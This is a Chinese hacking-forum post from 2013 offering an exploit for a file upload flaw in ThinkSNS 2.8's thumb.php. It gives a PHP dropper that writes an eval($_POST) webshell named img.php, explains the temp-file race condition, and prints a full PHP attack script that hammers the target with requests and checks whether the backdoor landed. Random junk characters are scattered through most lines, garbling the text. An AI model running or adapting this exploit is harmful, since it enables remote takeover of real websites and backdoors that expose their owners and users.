找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2104|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本3 N$ r# k9 o, a. @' ^" X
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
, y* N6 S$ _0 B. f+ Z漏洞文件* L1 d% `4 y% X( T: n
存在漏洞的文件为:thumb.php
) {. ^$ u6 a. C3 u( J, ~! w. K" ?) z. W作者:韦鲲鹏6 K8 Y' S* G# Q9 W/ W
1、        准备如下PHP文件并上传到服务器(自己的)。% w% z* W# ^9 [
文件内容如下:. }& |& X& a5 S! q
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
0 a, b3 Q. {7 H5 C7 h! S2、        计算出临时的文件名:
. {% j7 T. D, d9 \, k, b这里我们可以看文件的99行(刚刚是不是没注意呀!)。. M/ h  o4 i- P  B
! X4 i& t7 V7 \& L
3、        上传临时文件。# d0 k; @5 @: _, u
4、        访问临时文件。( ^7 u  z5 k0 v& }; S
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
6 k- R$ o7 C! }9 E: h- I/ aExploit文件内容如下:(这个我就不详细解释了)8 Z. L  Y/ K1 K
<?php0 N5 m$ B. \, w; g( p
error_reporting(0);  C( E9 b) G% N: y2 z3 e0 |& b
set_time_limit(0);
/ \6 t$ l6 |0 C% |& oini_set(“default_socket_timeout”, 5);& ]% f3 F  ?" b$ @5 U- K
function http_send($host, $port, $headers) {
2 E9 l. h" Z4 M+ K. p4 T' n8 H% b6 ]$fp = fsockopen($host, $port);
" a* n8 _* M9 u# j% Aif (!$fp) die(‘Connection -> fail’);
6 Y3 ?6 G. K' F+ N  w. E$ o2 ~6 ^fputs($fp, $headers);
; k* K0 V' E2 n# M# creturn $fp;" N; U2 c' R) C8 \: d5 w, F4 z9 E
}
* I% A4 A/ P+ _+ ?0 Z& X& P+ N* F' G5 dfunction http_recv($fp) {: v. k4 `4 q6 A2 D
$ret=”";
; d6 {) Y3 h& ]1 r, J3 xwhile (!feof($fp)). J$ H8 g" j+ n
$ret.= fgets($fp, 1024);
: T3 F* L+ G7 n/ I. dfclose($fp);# O  j& ]0 ]* m' v( f. F
return $ret;
- R; ?- p1 |; y  b0 l1 W* b}
! }2 ?. F3 Y' ?8 e# ?5 |1 B( Gprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
0 p. l5 ~& g# S1 jprint “# Discovered by 韦鲲鹏 #\n\n”;, x, N7 I, V" A7 a% V
if ($argc < 4) {
# ^: |+ P9 h0 O- E9 o0 W; y- Uprint “Usage:   php <host> <path> <romote_url>\n”;) o& L+ g( h& X1 C
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;) j+ X' y; A6 R' X. W( N) W/ N
die();
# ]8 @; X0 }8 K}* o% z  x3 N4 u* F
$host = $argv[1];" W+ ^; D5 U4 U- C% M( o
$path = $argv[2];
! L/ d7 m1 x: Q$url = $argv[3];$ O* U$ [" V( ~' x: n5 c
$i=0;) W$ N- X$ v/ }* c
//上传数据包
; F( a' m8 X: O, Z" o+ Y$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;3 X6 Z4 D0 _, K& t
$headers_up .= “Host: “.$host.”\r\n”;
* Z- h( D$ o, k: z7 p2 L  @$headers_up .= “Connection: close\r\n\r\n”;: s, L) J# I* @- k; b
echo $headers_up;
; ~* a% b& Q3 t" l: J; H//临时文件访问数据包
+ @0 }: F5 k/ o: V$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
8 m/ p6 v  ]7 V6 C2 c! z6 R$headers .= “Host: “.$host.”\r\n”;9 A8 p0 J. c$ t9 {, f
$headers .= “Connection: close\r\n\r\n”;9 ^3 a+ U3 @, M& N
echo $headers;) d7 x- S: ~6 ]. K$ _7 @' P. N: l
while(++$i<10) {
9 G) I; X( A6 O* Ifclose(http_send($host, 80, $headers));
' `; o  i: J$ R9 t}
. t3 \* O& {1 S) t. g. t" ]fclose(http_send($host, 80, $headers_up));
# g2 Q6 e* `! twhile(++$i<50) {
% n+ U% D( o, ^( C- ?; Xfclose(http_send($host, 80, $headers));! @; W$ ?& A- j' n; l+ O2 X
}9 p- x+ E* |" v2 ~! [+ m# r3 @7 Y
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;8 ~' L& d8 ~- `3 i* t9 v
$headers .= “Host: “.$host.”\r\n”;
; a& D0 f; x# s2 \: C! _$headers .= “Connection: close\r\n\r\n”;6 W0 l' R4 R7 R! g
$res=http_recv(http_send($host, 80, $headers));
9 {& I5 E4 P# \. W2 T: O6 jif(preg_match(‘/200 OK/’,$res)) {
; E9 u9 @$ F5 ~) j$ |2 k! Aprint “Success!\n\n”;& Z# o3 r+ w$ M! z" F
} else {& n9 O2 s9 w8 i
print “Fail!\n\n”;
" U. Z- w' k- Q! S; x4 f( g}- B1 p: j" g8 x' R# c
?>' ]; M7 z& Z% K0 O. L/ o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表